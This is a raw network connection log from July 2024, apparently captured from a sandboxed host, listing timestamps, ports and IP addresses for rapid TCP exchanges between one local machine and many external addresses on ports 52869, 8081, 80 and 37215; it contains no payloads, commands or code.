Jul 20, 2024 23:01:00.397387981 CEST	52869	57552	147.164.232.161	192.168.2.13
Jul 20, 2024 23:01:00.397559881 CEST	57552	52869	192.168.2.13	147.164.232.161
Jul 20, 2024 23:01:00.397860050 CEST	33794	52869	192.168.2.13	143.19.210.21
Jul 20, 2024 23:01:00.399580956 CEST	8081	59952	60.80.104.64	192.168.2.13
Jul 20, 2024 23:01:00.399724960 CEST	59952	8081	192.168.2.13	60.80.104.64
Jul 20, 2024 23:01:00.400546074 CEST	80	36808	88.191.85.56	192.168.2.13
Jul 20, 2024 23:01:00.400593996 CEST	36808	80	192.168.2.13	88.191.85.56
Jul 20, 2024 23:01:00.401492119 CEST	39688	8081	192.168.2.13	81.153.29.79
Jul 20, 2024 23:01:00.402538061 CEST	54976	80	192.168.2.13	88.235.101.168
Jul 20, 2024 23:01:00.405776024 CEST	36600	8081	192.168.2.13	118.14.228.51
Jul 20, 2024 23:01:00.405994892 CEST	57836	80	192.168.2.13	88.53.65.5
Jul 20, 2024 23:01:00.407109976 CEST	52869	33794	143.19.210.21	192.168.2.13
Jul 20, 2024 23:01:00.407149076 CEST	33794	52869	192.168.2.13	143.19.210.21
Jul 20, 2024 23:01:00.407412052 CEST	8081	39688	81.153.29.79	192.168.2.13
Jul 20, 2024 23:01:00.407450914 CEST	39688	8081	192.168.2.13	81.153.29.79
Jul 20, 2024 23:01:00.408169031 CEST	80	54976	88.235.101.168	192.168.2.13
Jul 20, 2024 23:01:00.408221006 CEST	54976	80	192.168.2.13	88.235.101.168
Jul 20, 2024 23:01:00.408427000 CEST	55666	8081	192.168.2.13	130.82.205.50
Jul 20, 2024 23:01:00.408631086 CEST	46520	80	192.168.2.13	88.165.214.168
Jul 20, 2024 23:01:00.411252975 CEST	59190	8081	192.168.2.13	36.158.2.218
Jul 20, 2024 23:01:00.411262035 CEST	8081	36600	118.14.228.51	192.168.2.13
Jul 20, 2024 23:01:00.411309958 CEST	36600	8081	192.168.2.13	118.14.228.51
Jul 20, 2024 23:01:00.411310911 CEST	80	57836	88.53.65.5	192.168.2.13
Jul 20, 2024 23:01:00.411345005 CEST	57836	80	192.168.2.13	88.53.65.5
Jul 20, 2024 23:01:00.411484957 CEST	39342	80	192.168.2.13	88.96.232.196
Jul 20, 2024 23:01:00.413628101 CEST	8081	55666	130.82.205.50	192.168.2.13
Jul 20, 2024 23:01:00.413666010 CEST	55666	8081	192.168.2.13	130.82.205.50
Jul 20, 2024 23:01:00.413986921 CEST	36130	8081	192.168.2.13	54.117.207.171
Jul 20, 2024 23:01:00.414180994 CEST	44312	80	192.168.2.13	88.120.148.226
Jul 20, 2024 23:01:00.414424896 CEST	80	46520	88.165.214.168	192.168.2.13
Jul 20, 2024 23:01:00.414589882 CEST	46520	80	192.168.2.13	88.165.214.168
Jul 20, 2024 23:01:00.416598082 CEST	35258	8081	192.168.2.13	140.251.31.222
Jul 20, 2024 23:01:00.417082071 CEST	58958	80	192.168.2.13	88.104.112.235
Jul 20, 2024 23:01:00.417330980 CEST	8081	59190	36.158.2.218	192.168.2.13
Jul 20, 2024 23:01:00.417548895 CEST	59190	8081	192.168.2.13	36.158.2.218
Jul 20, 2024 23:01:00.417844057 CEST	80	39342	88.96.232.196	192.168.2.13
Jul 20, 2024 23:01:00.417988062 CEST	39342	80	192.168.2.13	88.96.232.196
Jul 20, 2024 23:01:00.419600964 CEST	8081	36130	54.117.207.171	192.168.2.13
Jul 20, 2024 23:01:00.419666052 CEST	80	44312	88.120.148.226	192.168.2.13
Jul 20, 2024 23:01:00.419718027 CEST	52074	8081	192.168.2.13	180.244.103.212
Jul 20, 2024 23:01:00.419861078 CEST	36130	8081	192.168.2.13	54.117.207.171
Jul 20, 2024 23:01:00.419862032 CEST	44312	80	192.168.2.13	88.120.148.226
Jul 20, 2024 23:01:00.420206070 CEST	38300	80	192.168.2.13	88.169.191.113
Jul 20, 2024 23:01:00.422071934 CEST	8081	35258	140.251.31.222	192.168.2.13
Jul 20, 2024 23:01:00.422142982 CEST	80	58958	88.104.112.235	192.168.2.13
Jul 20, 2024 23:01:00.422194958 CEST	58958	80	192.168.2.13	88.104.112.235
Jul 20, 2024 23:01:00.422220945 CEST	35258	8081	192.168.2.13	140.251.31.222
Jul 20, 2024 23:01:00.422693968 CEST	50598	52869	192.168.2.13	150.134.45.104
Jul 20, 2024 23:01:00.424053907 CEST	57798	8081	192.168.2.13	35.194.214.78
Jul 20, 2024 23:01:00.424360037 CEST	44570	80	192.168.2.13	88.62.154.187
Jul 20, 2024 23:01:00.424679995 CEST	8081	52074	180.244.103.212	192.168.2.13
Jul 20, 2024 23:01:00.424729109 CEST	52074	8081	192.168.2.13	180.244.103.212
Jul 20, 2024 23:01:00.425277948 CEST	80	38300	88.169.191.113	192.168.2.13
Jul 20, 2024 23:01:00.427546024 CEST	52869	50598	150.134.45.104	192.168.2.13
Jul 20, 2024 23:01:00.428467989 CEST	50598	52869	192.168.2.13	150.134.45.104
Jul 20, 2024 23:01:00.428656101 CEST	38300	80	192.168.2.13	88.169.191.113
Jul 20, 2024 23:01:00.429080963 CEST	8081	57798	35.194.214.78	192.168.2.13
Jul 20, 2024 23:01:00.429296970 CEST	80	44570	88.62.154.187	192.168.2.13
Jul 20, 2024 23:01:00.432544947 CEST	44570	80	192.168.2.13	88.62.154.187
Jul 20, 2024 23:01:00.432554007 CEST	57798	8081	192.168.2.13	35.194.214.78
Jul 20, 2024 23:01:00.512449980 CEST	48496	52869	192.168.2.13	135.241.25.166
Jul 20, 2024 23:01:00.517736912 CEST	52869	48496	135.241.25.166	192.168.2.13
Jul 20, 2024 23:01:00.520409107 CEST	48496	52869	192.168.2.13	135.241.25.166
Jul 20, 2024 23:01:00.613161087 CEST	53878	80	192.168.2.13	88.41.172.45
Jul 20, 2024 23:01:00.616866112 CEST	41132	52869	192.168.2.13	170.171.127.228
Jul 20, 2024 23:01:00.617923021 CEST	42704	8081	192.168.2.13	165.105.54.22
Jul 20, 2024 23:01:00.618386030 CEST	35076	8081	192.168.2.13	145.216.15.149
Jul 20, 2024 23:01:00.621386051 CEST	59402	52869	192.168.2.13	153.97.31.189
Jul 20, 2024 23:01:00.622189045 CEST	42998	80	192.168.2.13	88.211.58.217
Jul 20, 2024 23:01:00.623313904 CEST	42780	8081	192.168.2.13	76.22.1.183
Jul 20, 2024 23:01:00.626373053 CEST	80	53878	88.41.172.45	192.168.2.13
Jul 20, 2024 23:01:00.626483917 CEST	53878	80	192.168.2.13	88.41.172.45
Jul 20, 2024 23:01:00.626549006 CEST	32794	52869	192.168.2.13	220.123.4.18
Jul 20, 2024 23:01:00.627902985 CEST	39392	8081	192.168.2.13	91.137.132.92
Jul 20, 2024 23:01:00.629914045 CEST	52869	41132	170.171.127.228	192.168.2.13
Jul 20, 2024 23:01:00.630151033 CEST	41132	52869	192.168.2.13	170.171.127.228
Jul 20, 2024 23:01:00.630367994 CEST	48054	80	192.168.2.13	88.76.253.23
Jul 20, 2024 23:01:00.630753040 CEST	51762	52869	192.168.2.13	84.26.238.160
Jul 20, 2024 23:01:00.630878925 CEST	8081	42704	165.105.54.22	192.168.2.13
Jul 20, 2024 23:01:00.630918980 CEST	42704	8081	192.168.2.13	165.105.54.22
Jul 20, 2024 23:01:00.632303953 CEST	36872	8081	192.168.2.13	89.187.123.20
Jul 20, 2024 23:01:00.632842064 CEST	8081	35076	145.216.15.149	192.168.2.13
Jul 20, 2024 23:01:00.632883072 CEST	35076	8081	192.168.2.13	145.216.15.149
Jul 20, 2024 23:01:00.635732889 CEST	52869	59402	153.97.31.189	192.168.2.13
Jul 20, 2024 23:01:00.638773918 CEST	80	42998	88.211.58.217	192.168.2.13
Jul 20, 2024 23:01:00.638989925 CEST	8081	42780	76.22.1.183	192.168.2.13
Jul 20, 2024 23:01:00.640300989 CEST	52869	32794	220.123.4.18	192.168.2.13
Jul 20, 2024 23:01:00.640326977 CEST	8081	39392	91.137.132.92	192.168.2.13
Jul 20, 2024 23:01:00.641179085 CEST	80	48054	88.76.253.23	192.168.2.13
Jul 20, 2024 23:01:00.641191006 CEST	52869	51762	84.26.238.160	192.168.2.13
Jul 20, 2024 23:01:00.645005941 CEST	8081	36872	89.187.123.20	192.168.2.13
Jul 20, 2024 23:01:00.645185947 CEST	59402	52869	192.168.2.13	153.97.31.189
Jul 20, 2024 23:01:00.652013063 CEST	32794	52869	192.168.2.13	220.123.4.18
Jul 20, 2024 23:01:00.654412985 CEST	51762	52869	192.168.2.13	84.26.238.160
Jul 20, 2024 23:01:00.654558897 CEST	42780	8081	192.168.2.13	76.22.1.183
Jul 20, 2024 23:01:00.654558897 CEST	39392	8081	192.168.2.13	91.137.132.92
Jul 20, 2024 23:01:00.654558897 CEST	48054	80	192.168.2.13	88.76.253.23
Jul 20, 2024 23:01:00.656261921 CEST	42998	80	192.168.2.13	88.211.58.217
Jul 20, 2024 23:01:00.658200979 CEST	36872	8081	192.168.2.13	89.187.123.20
Jul 20, 2024 23:01:00.666063070 CEST	47374	52869	192.168.2.13	183.33.143.75
Jul 20, 2024 23:01:00.667403936 CEST	41800	8081	192.168.2.13	38.152.182.189
Jul 20, 2024 23:01:00.669287920 CEST	57550	80	192.168.2.13	88.98.173.186
Jul 20, 2024 23:01:00.670769930 CEST	60772	52869	192.168.2.13	71.240.247.135
Jul 20, 2024 23:01:00.671017885 CEST	52869	47374	183.33.143.75	192.168.2.13
Jul 20, 2024 23:01:00.671139956 CEST	47374	52869	192.168.2.13	183.33.143.75
Jul 20, 2024 23:01:00.672849894 CEST	50664	8081	192.168.2.13	73.226.236.11
Jul 20, 2024 23:01:00.673266888 CEST	8081	41800	38.152.182.189	192.168.2.13
Jul 20, 2024 23:01:00.673309088 CEST	41800	8081	192.168.2.13	38.152.182.189
Jul 20, 2024 23:01:00.674420118 CEST	80	57550	88.98.173.186	192.168.2.13
Jul 20, 2024 23:01:00.674463034 CEST	57550	80	192.168.2.13	88.98.173.186
Jul 20, 2024 23:01:00.675929070 CEST	52869	60772	71.240.247.135	192.168.2.13
Jul 20, 2024 23:01:00.676104069 CEST	60772	52869	192.168.2.13	71.240.247.135
Jul 20, 2024 23:01:00.676429033 CEST	41528	52869	192.168.2.13	87.22.11.17
Jul 20, 2024 23:01:00.677963018 CEST	8081	50664	73.226.236.11	192.168.2.13
Jul 20, 2024 23:01:00.678004026 CEST	50664	8081	192.168.2.13	73.226.236.11
Jul 20, 2024 23:01:00.678317070 CEST	50706	8081	192.168.2.13	138.28.105.92
Jul 20, 2024 23:01:00.678580046 CEST	36800	80	192.168.2.13	88.127.52.38
Jul 20, 2024 23:01:00.681183100 CEST	41804	52869	192.168.2.13	158.159.28.203
Jul 20, 2024 23:01:00.681447029 CEST	35690	8081	192.168.2.13	38.137.91.224
Jul 20, 2024 23:01:00.681576967 CEST	52869	41528	87.22.11.17	192.168.2.13
Jul 20, 2024 23:01:00.681615114 CEST	41528	52869	192.168.2.13	87.22.11.17
Jul 20, 2024 23:01:00.683842897 CEST	8081	50706	138.28.105.92	192.168.2.13
Jul 20, 2024 23:01:00.683907032 CEST	50706	8081	192.168.2.13	138.28.105.92
Jul 20, 2024 23:01:00.683923960 CEST	80	36800	88.127.52.38	192.168.2.13
Jul 20, 2024 23:01:00.684020042 CEST	36800	80	192.168.2.13	88.127.52.38
Jul 20, 2024 23:01:00.685758114 CEST	42384	52869	192.168.2.13	143.236.166.197
Jul 20, 2024 23:01:00.685946941 CEST	54244	8081	192.168.2.13	162.19.7.39
Jul 20, 2024 23:01:00.686222076 CEST	49854	80	192.168.2.13	88.2.182.131
Jul 20, 2024 23:01:00.686577082 CEST	52869	41804	158.159.28.203	192.168.2.13
Jul 20, 2024 23:01:00.686615944 CEST	41804	52869	192.168.2.13	158.159.28.203
Jul 20, 2024 23:01:00.686705112 CEST	8081	35690	38.137.91.224	192.168.2.13
Jul 20, 2024 23:01:00.686745882 CEST	35690	8081	192.168.2.13	38.137.91.224
Jul 20, 2024 23:01:00.690530062 CEST	44724	52869	192.168.2.13	57.86.64.87
Jul 20, 2024 23:01:00.690938950 CEST	52869	42384	143.236.166.197	192.168.2.13
Jul 20, 2024 23:01:00.690989017 CEST	42384	52869	192.168.2.13	143.236.166.197
Jul 20, 2024 23:01:00.691266060 CEST	8081	54244	162.19.7.39	192.168.2.13
Jul 20, 2024 23:01:00.691278934 CEST	80	49854	88.2.182.131	192.168.2.13
Jul 20, 2024 23:01:00.691303015 CEST	54244	8081	192.168.2.13	162.19.7.39
Jul 20, 2024 23:01:00.691310883 CEST	49854	80	192.168.2.13	88.2.182.131
Jul 20, 2024 23:01:00.692018032 CEST	37410	8081	192.168.2.13	168.54.33.18
Jul 20, 2024 23:01:00.694883108 CEST	40360	52869	192.168.2.13	156.218.218.173
Jul 20, 2024 23:01:00.695313931 CEST	56900	80	192.168.2.13	88.95.77.252
Jul 20, 2024 23:01:00.696144104 CEST	52869	44724	57.86.64.87	192.168.2.13
Jul 20, 2024 23:01:00.696182966 CEST	44724	52869	192.168.2.13	57.86.64.87
Jul 20, 2024 23:01:00.696512938 CEST	48192	8081	192.168.2.13	14.217.247.201
Jul 20, 2024 23:01:00.697443008 CEST	8081	37410	168.54.33.18	192.168.2.13
Jul 20, 2024 23:01:00.697516918 CEST	37410	8081	192.168.2.13	168.54.33.18
Jul 20, 2024 23:01:00.699008942 CEST	55160	52869	192.168.2.13	191.251.66.209
Jul 20, 2024 23:01:00.700244904 CEST	54826	8081	192.168.2.13	132.112.127.230
Jul 20, 2024 23:01:00.700314045 CEST	52869	40360	156.218.218.173	192.168.2.13
Jul 20, 2024 23:01:00.700378895 CEST	40360	52869	192.168.2.13	156.218.218.173
Jul 20, 2024 23:01:00.700572968 CEST	80	56900	88.95.77.252	192.168.2.13
Jul 20, 2024 23:01:00.700637102 CEST	56900	80	192.168.2.13	88.95.77.252
Jul 20, 2024 23:01:00.702162027 CEST	8081	48192	14.217.247.201	192.168.2.13
Jul 20, 2024 23:01:00.702287912 CEST	48192	8081	192.168.2.13	14.217.247.201
Jul 20, 2024 23:01:00.703355074 CEST	51234	80	192.168.2.13	88.198.199.244
Jul 20, 2024 23:01:00.703742981 CEST	53172	52869	192.168.2.13	51.169.114.105
Jul 20, 2024 23:01:00.704782009 CEST	52869	55160	191.251.66.209	192.168.2.13
Jul 20, 2024 23:01:00.704821110 CEST	55160	52869	192.168.2.13	191.251.66.209
Jul 20, 2024 23:01:00.705022097 CEST	41446	8081	192.168.2.13	210.14.86.159
Jul 20, 2024 23:01:00.705713987 CEST	8081	54826	132.112.127.230	192.168.2.13
Jul 20, 2024 23:01:00.705758095 CEST	54826	8081	192.168.2.13	132.112.127.230
Jul 20, 2024 23:01:00.708363056 CEST	59934	52869	192.168.2.13	48.113.240.162
Jul 20, 2024 23:01:00.708503962 CEST	80	51234	88.198.199.244	192.168.2.13
Jul 20, 2024 23:01:00.708555937 CEST	51234	80	192.168.2.13	88.198.199.244
Jul 20, 2024 23:01:00.709350109 CEST	42942	8081	192.168.2.13	20.19.44.152
Jul 20, 2024 23:01:00.709892035 CEST	52869	53172	51.169.114.105	192.168.2.13
Jul 20, 2024 23:01:00.710019112 CEST	53172	52869	192.168.2.13	51.169.114.105
Jul 20, 2024 23:01:00.710725069 CEST	8081	41446	210.14.86.159	192.168.2.13
Jul 20, 2024 23:01:00.710762024 CEST	41446	8081	192.168.2.13	210.14.86.159
Jul 20, 2024 23:01:00.711623907 CEST	46730	80	192.168.2.13	88.187.137.243
Jul 20, 2024 23:01:00.712737083 CEST	57426	52869	192.168.2.13	144.242.214.134
Jul 20, 2024 23:01:00.713253021 CEST	52869	59934	48.113.240.162	192.168.2.13
Jul 20, 2024 23:01:00.713290930 CEST	59934	52869	192.168.2.13	48.113.240.162
Jul 20, 2024 23:01:00.714045048 CEST	36922	8081	192.168.2.13	47.19.229.1
Jul 20, 2024 23:01:00.715394020 CEST	8081	42942	20.19.44.152	192.168.2.13
Jul 20, 2024 23:01:00.715445042 CEST	42942	8081	192.168.2.13	20.19.44.152
Jul 20, 2024 23:01:00.717159033 CEST	80	46730	88.187.137.243	192.168.2.13
Jul 20, 2024 23:01:00.717195988 CEST	46730	80	192.168.2.13	88.187.137.243
Jul 20, 2024 23:01:00.717808962 CEST	34054	52869	192.168.2.13	98.189.122.151
Jul 20, 2024 23:01:00.717972040 CEST	52869	57426	144.242.214.134	192.168.2.13
Jul 20, 2024 23:01:00.718017101 CEST	57426	52869	192.168.2.13	144.242.214.134
Jul 20, 2024 23:01:00.719306946 CEST	58482	8081	192.168.2.13	217.241.134.162
Jul 20, 2024 23:01:00.719366074 CEST	8081	36922	47.19.229.1	192.168.2.13
Jul 20, 2024 23:01:00.719413042 CEST	36922	8081	192.168.2.13	47.19.229.1
Jul 20, 2024 23:01:00.719463110 CEST	54982	80	192.168.2.13	88.142.110.16
Jul 20, 2024 23:01:00.722398043 CEST	50598	52869	192.168.2.13	139.23.112.9
Jul 20, 2024 23:01:00.722938061 CEST	52869	34054	98.189.122.151	192.168.2.13
Jul 20, 2024 23:01:00.723020077 CEST	34054	52869	192.168.2.13	98.189.122.151
Jul 20, 2024 23:01:00.724076986 CEST	60428	8081	192.168.2.13	46.39.191.49
Jul 20, 2024 23:01:00.724366903 CEST	8081	58482	217.241.134.162	192.168.2.13
Jul 20, 2024 23:01:00.724519014 CEST	58482	8081	192.168.2.13	217.241.134.162
Jul 20, 2024 23:01:00.724684000 CEST	80	54982	88.142.110.16	192.168.2.13
Jul 20, 2024 23:01:00.724733114 CEST	54982	80	192.168.2.13	88.142.110.16
Jul 20, 2024 23:01:00.727458000 CEST	60468	52869	192.168.2.13	170.54.95.252
Jul 20, 2024 23:01:00.727895975 CEST	46970	80	192.168.2.13	88.1.204.170
Jul 20, 2024 23:01:00.728282928 CEST	52869	50598	139.23.112.9	192.168.2.13
Jul 20, 2024 23:01:00.728338003 CEST	50598	52869	192.168.2.13	139.23.112.9
Jul 20, 2024 23:01:00.728629112 CEST	36188	8081	192.168.2.13	211.52.133.239
Jul 20, 2024 23:01:00.729089022 CEST	8081	60428	46.39.191.49	192.168.2.13
Jul 20, 2024 23:01:00.729163885 CEST	60428	8081	192.168.2.13	46.39.191.49
Jul 20, 2024 23:01:00.731918097 CEST	57540	52869	192.168.2.13	51.230.131.89
Jul 20, 2024 23:01:00.732683897 CEST	52869	60468	170.54.95.252	192.168.2.13
Jul 20, 2024 23:01:00.732726097 CEST	60468	52869	192.168.2.13	170.54.95.252
Jul 20, 2024 23:01:00.732887030 CEST	80	46970	88.1.204.170	192.168.2.13
Jul 20, 2024 23:01:00.732923031 CEST	46970	80	192.168.2.13	88.1.204.170
Jul 20, 2024 23:01:00.733119965 CEST	36422	8081	192.168.2.13	131.169.220.199
Jul 20, 2024 23:01:00.733704090 CEST	8081	36188	211.52.133.239	192.168.2.13
Jul 20, 2024 23:01:00.733747005 CEST	36188	8081	192.168.2.13	211.52.133.239
Jul 20, 2024 23:01:00.736084938 CEST	53208	80	192.168.2.13	88.17.211.31
Jul 20, 2024 23:01:00.736464977 CEST	47076	52869	192.168.2.13	160.241.202.23
Jul 20, 2024 23:01:00.737164021 CEST	52869	57540	51.230.131.89	192.168.2.13
Jul 20, 2024 23:01:00.737324953 CEST	57540	52869	192.168.2.13	51.230.131.89
Jul 20, 2024 23:01:00.737914085 CEST	56016	8081	192.168.2.13	123.135.78.85
Jul 20, 2024 23:01:00.738097906 CEST	8081	36422	131.169.220.199	192.168.2.13
Jul 20, 2024 23:01:00.738168955 CEST	36422	8081	192.168.2.13	131.169.220.199
Jul 20, 2024 23:01:00.741168022 CEST	39292	52869	192.168.2.13	220.26.7.227
Jul 20, 2024 23:01:00.741321087 CEST	80	53208	88.17.211.31	192.168.2.13
Jul 20, 2024 23:01:00.741492987 CEST	53208	80	192.168.2.13	88.17.211.31
Jul 20, 2024 23:01:00.742058992 CEST	52869	47076	160.241.202.23	192.168.2.13
Jul 20, 2024 23:01:00.742096901 CEST	47076	52869	192.168.2.13	160.241.202.23
Jul 20, 2024 23:01:00.742218018 CEST	44796	8081	192.168.2.13	14.18.87.181
Jul 20, 2024 23:01:00.742850065 CEST	8081	56016	123.135.78.85	192.168.2.13
Jul 20, 2024 23:01:00.742911100 CEST	56016	8081	192.168.2.13	123.135.78.85
Jul 20, 2024 23:01:00.743983984 CEST	32940	80	192.168.2.13	88.254.193.19
Jul 20, 2024 23:01:00.744919062 CEST	39604	52869	192.168.2.13	213.139.43.137
Jul 20, 2024 23:01:00.746220112 CEST	60122	8081	192.168.2.13	12.120.192.163
Jul 20, 2024 23:01:00.746545076 CEST	52869	39292	220.26.7.227	192.168.2.13
Jul 20, 2024 23:01:00.746592999 CEST	39292	52869	192.168.2.13	220.26.7.227
Jul 20, 2024 23:01:00.747106075 CEST	8081	44796	14.18.87.181	192.168.2.13
Jul 20, 2024 23:01:00.747144938 CEST	44796	8081	192.168.2.13	14.18.87.181
Jul 20, 2024 23:01:00.748781919 CEST	37796	52869	192.168.2.13	183.89.166.139
Jul 20, 2024 23:01:00.750559092 CEST	80	32940	88.254.193.19	192.168.2.13
Jul 20, 2024 23:01:00.750622988 CEST	48442	8081	192.168.2.13	125.119.2.235
Jul 20, 2024 23:01:00.750829935 CEST	52869	39604	213.139.43.137	192.168.2.13
Jul 20, 2024 23:01:00.750866890 CEST	32940	80	192.168.2.13	88.254.193.19
Jul 20, 2024 23:01:00.750962019 CEST	39604	52869	192.168.2.13	213.139.43.137
Jul 20, 2024 23:01:00.751430988 CEST	50694	80	192.168.2.13	88.66.90.171
Jul 20, 2024 23:01:00.751457930 CEST	8081	60122	12.120.192.163	192.168.2.13
Jul 20, 2024 23:01:00.751502037 CEST	60122	8081	192.168.2.13	12.120.192.163
Jul 20, 2024 23:01:00.754070044 CEST	38542	52869	192.168.2.13	172.51.83.216
Jul 20, 2024 23:01:00.754228115 CEST	52869	37796	183.89.166.139	192.168.2.13
Jul 20, 2024 23:01:00.754281998 CEST	37796	52869	192.168.2.13	183.89.166.139
Jul 20, 2024 23:01:00.755096912 CEST	58112	8081	192.168.2.13	200.82.236.203
Jul 20, 2024 23:01:00.756016016 CEST	8081	48442	125.119.2.235	192.168.2.13
Jul 20, 2024 23:01:00.756172895 CEST	48442	8081	192.168.2.13	125.119.2.235
Jul 20, 2024 23:01:00.756685972 CEST	80	50694	88.66.90.171	192.168.2.13
Jul 20, 2024 23:01:00.756737947 CEST	50694	80	192.168.2.13	88.66.90.171
Jul 20, 2024 23:01:00.757663012 CEST	45582	52869	192.168.2.13	158.124.195.199
Jul 20, 2024 23:01:00.758131981 CEST	58268	80	192.168.2.13	88.193.151.195
Jul 20, 2024 23:01:00.759088993 CEST	42474	8081	192.168.2.13	131.185.209.108
Jul 20, 2024 23:01:00.759515047 CEST	52869	38542	172.51.83.216	192.168.2.13
Jul 20, 2024 23:01:00.759694099 CEST	38542	52869	192.168.2.13	172.51.83.216
Jul 20, 2024 23:01:00.760500908 CEST	8081	58112	200.82.236.203	192.168.2.13
Jul 20, 2024 23:01:00.760539055 CEST	58112	8081	192.168.2.13	200.82.236.203
Jul 20, 2024 23:01:00.761549950 CEST	37215	44962	197.6.247.149	192.168.2.13
Jul 20, 2024 23:01:00.761595011 CEST	44962	37215	192.168.2.13	197.6.247.149
Jul 20, 2024 23:01:00.761791945 CEST	55128	52869	192.168.2.13	187.248.171.89
Jul 20, 2024 23:01:00.763231993 CEST	44908	8081	192.168.2.13	39.168.134.97
Jul 20, 2024 23:01:00.765672922 CEST	48182	80	192.168.2.13	88.50.196.253
Jul 20, 2024 23:01:00.766134977 CEST	43970	52869	192.168.2.13	186.203.154.108
Jul 20, 2024 23:01:00.767970085 CEST	52869	45582	158.124.195.199	192.168.2.13
Jul 20, 2024 23:01:00.767997980 CEST	49228	8081	192.168.2.13	43.249.64.134
Jul 20, 2024 23:01:00.768002987 CEST	45582	52869	192.168.2.13	158.124.195.199
Jul 20, 2024 23:01:00.768125057 CEST	80	58268	88.193.151.195	192.168.2.13
Jul 20, 2024 23:01:00.768137932 CEST	8081	42474	131.185.209.108	192.168.2.13
Jul 20, 2024 23:01:00.768172979 CEST	58268	80	192.168.2.13	88.193.151.195
Jul 20, 2024 23:01:00.768172979 CEST	42474	8081	192.168.2.13	131.185.209.108
Jul 20, 2024 23:01:00.770371914 CEST	57330	52869	192.168.2.13	74.253.225.130
Jul 20, 2024 23:01:00.771722078 CEST	60074	8081	192.168.2.13	121.100.66.29
Jul 20, 2024 23:01:00.772361040 CEST	52869	55128	187.248.171.89	192.168.2.13
Jul 20, 2024 23:01:00.772375107 CEST	8081	44908	39.168.134.97	192.168.2.13
Jul 20, 2024 23:01:00.772398949 CEST	55128	52869	192.168.2.13	187.248.171.89
Jul 20, 2024 23:01:00.772427082 CEST	44908	8081	192.168.2.13	39.168.134.97
Jul 20, 2024 23:01:00.772841930 CEST	80	48182	88.50.196.253	192.168.2.13
Jul 20, 2024 23:01:00.772855997 CEST	52869	43970	186.203.154.108	192.168.2.13
Jul 20, 2024 23:01:00.772880077 CEST	48182	80	192.168.2.13	88.50.196.253
Jul 20, 2024 23:01:00.772886992 CEST	43970	52869	192.168.2.13	186.203.154.108
Jul 20, 2024 23:01:00.772937059 CEST	48778	80	192.168.2.13	88.160.39.161
Jul 20, 2024 23:01:00.773025990 CEST	8081	49228	43.249.64.134	192.168.2.13
Jul 20, 2024 23:01:00.773284912 CEST	49228	8081	192.168.2.13	43.249.64.134
Jul 20, 2024 23:01:00.775219917 CEST	59510	52869	192.168.2.13	139.0.230.132
Jul 20, 2024 23:01:00.777057886 CEST	42144	8081	192.168.2.13	83.78.185.118
Jul 20, 2024 23:01:00.780522108 CEST	34692	52869	192.168.2.13	65.224.243.64
Jul 20, 2024 23:01:00.781737089 CEST	56440	8081	192.168.2.13	52.155.53.16
Jul 20, 2024 23:01:00.782591105 CEST	40140	80	192.168.2.13	88.38.136.61
Jul 20, 2024 23:01:00.783205032 CEST	52869	57330	74.253.225.130	192.168.2.13
Jul 20, 2024 23:01:00.783230066 CEST	8081	60074	121.100.66.29	192.168.2.13
Jul 20, 2024 23:01:00.783250093 CEST	57330	52869	192.168.2.13	74.253.225.130
Jul 20, 2024 23:01:00.783267021 CEST	60074	8081	192.168.2.13	121.100.66.29
Jul 20, 2024 23:01:00.783446074 CEST	80	48778	88.160.39.161	192.168.2.13
Jul 20, 2024 23:01:00.783471107 CEST	52869	59510	139.0.230.132	192.168.2.13
Jul 20, 2024 23:01:00.783484936 CEST	48778	80	192.168.2.13	88.160.39.161
Jul 20, 2024 23:01:00.783518076 CEST	8081	42144	83.78.185.118	192.168.2.13
Jul 20, 2024 23:01:00.783644915 CEST	42144	8081	192.168.2.13	83.78.185.118
Jul 20, 2024 23:01:00.783761978 CEST	59510	52869	192.168.2.13	139.0.230.132
Jul 20, 2024 23:01:00.785425901 CEST	33486	8081	192.168.2.13	73.19.20.50
Jul 20, 2024 23:01:00.786367893 CEST	33962	52869	192.168.2.13	23.86.160.85
Jul 20, 2024 23:01:00.787400961 CEST	52869	34692	65.224.243.64	192.168.2.13
Jul 20, 2024 23:01:00.787415028 CEST	8081	56440	52.155.53.16	192.168.2.13
Jul 20, 2024 23:01:00.787436008 CEST	34692	52869	192.168.2.13	65.224.243.64
Jul 20, 2024 23:01:00.787455082 CEST	56440	8081	192.168.2.13	52.155.53.16
Jul 20, 2024 23:01:00.788388014 CEST	80	40140	88.38.136.61	192.168.2.13
Jul 20, 2024 23:01:00.788446903 CEST	40140	80	192.168.2.13	88.38.136.61
Jul 20, 2024 23:01:00.789580107 CEST	42198	8081	192.168.2.13	45.78.64.179
Jul 20, 2024 23:01:00.790363073 CEST	35418	52869	192.168.2.13	188.53.105.187
Jul 20, 2024 23:01:00.790998936 CEST	47130	80	192.168.2.13	88.26.16.3
Jul 20, 2024 23:01:00.793937922 CEST	41722	8081	192.168.2.13	133.142.27.178
Jul 20, 2024 23:01:00.794795990 CEST	37294	52869	192.168.2.13	91.73.86.81
Jul 20, 2024 23:01:00.795218945 CEST	8081	33486	73.19.20.50	192.168.2.13
Jul 20, 2024 23:01:00.795254946 CEST	33486	8081	192.168.2.13	73.19.20.50
Jul 20, 2024 23:01:00.797255039 CEST	52869	33962	23.86.160.85	192.168.2.13
Jul 20, 2024 23:01:00.797292948 CEST	8081	42198	45.78.64.179	192.168.2.13
Jul 20, 2024 23:01:00.797307968 CEST	33962	52869	192.168.2.13	23.86.160.85
Jul 20, 2024 23:01:00.797319889 CEST	52869	35418	188.53.105.187	192.168.2.13
Jul 20, 2024 23:01:00.797329903 CEST	42198	8081	192.168.2.13	45.78.64.179
Jul 20, 2024 23:01:00.797425985 CEST	35418	52869	192.168.2.13	188.53.105.187
Jul 20, 2024 23:01:00.798500061 CEST	58832	8081	192.168.2.13	134.79.83.231
Jul 20, 2024 23:01:00.798625946 CEST	57996	80	192.168.2.13	88.70.58.249
Jul 20, 2024 23:01:00.799088955 CEST	50004	52869	192.168.2.13	77.222.205.40
Jul 20, 2024 23:01:00.800677061 CEST	80	47130	88.26.16.3	192.168.2.13
Jul 20, 2024 23:01:00.800721884 CEST	47130	80	192.168.2.13	88.26.16.3
Jul 20, 2024 23:01:00.800765991 CEST	8081	41722	133.142.27.178	192.168.2.13
Jul 20, 2024 23:01:00.800777912 CEST	52869	37294	91.73.86.81	192.168.2.13
Jul 20, 2024 23:01:00.800808907 CEST	41722	8081	192.168.2.13	133.142.27.178
Jul 20, 2024 23:01:00.800823927 CEST	37294	52869	192.168.2.13	91.73.86.81
Jul 20, 2024 23:01:00.803234100 CEST	40860	8081	192.168.2.13	107.94.20.210
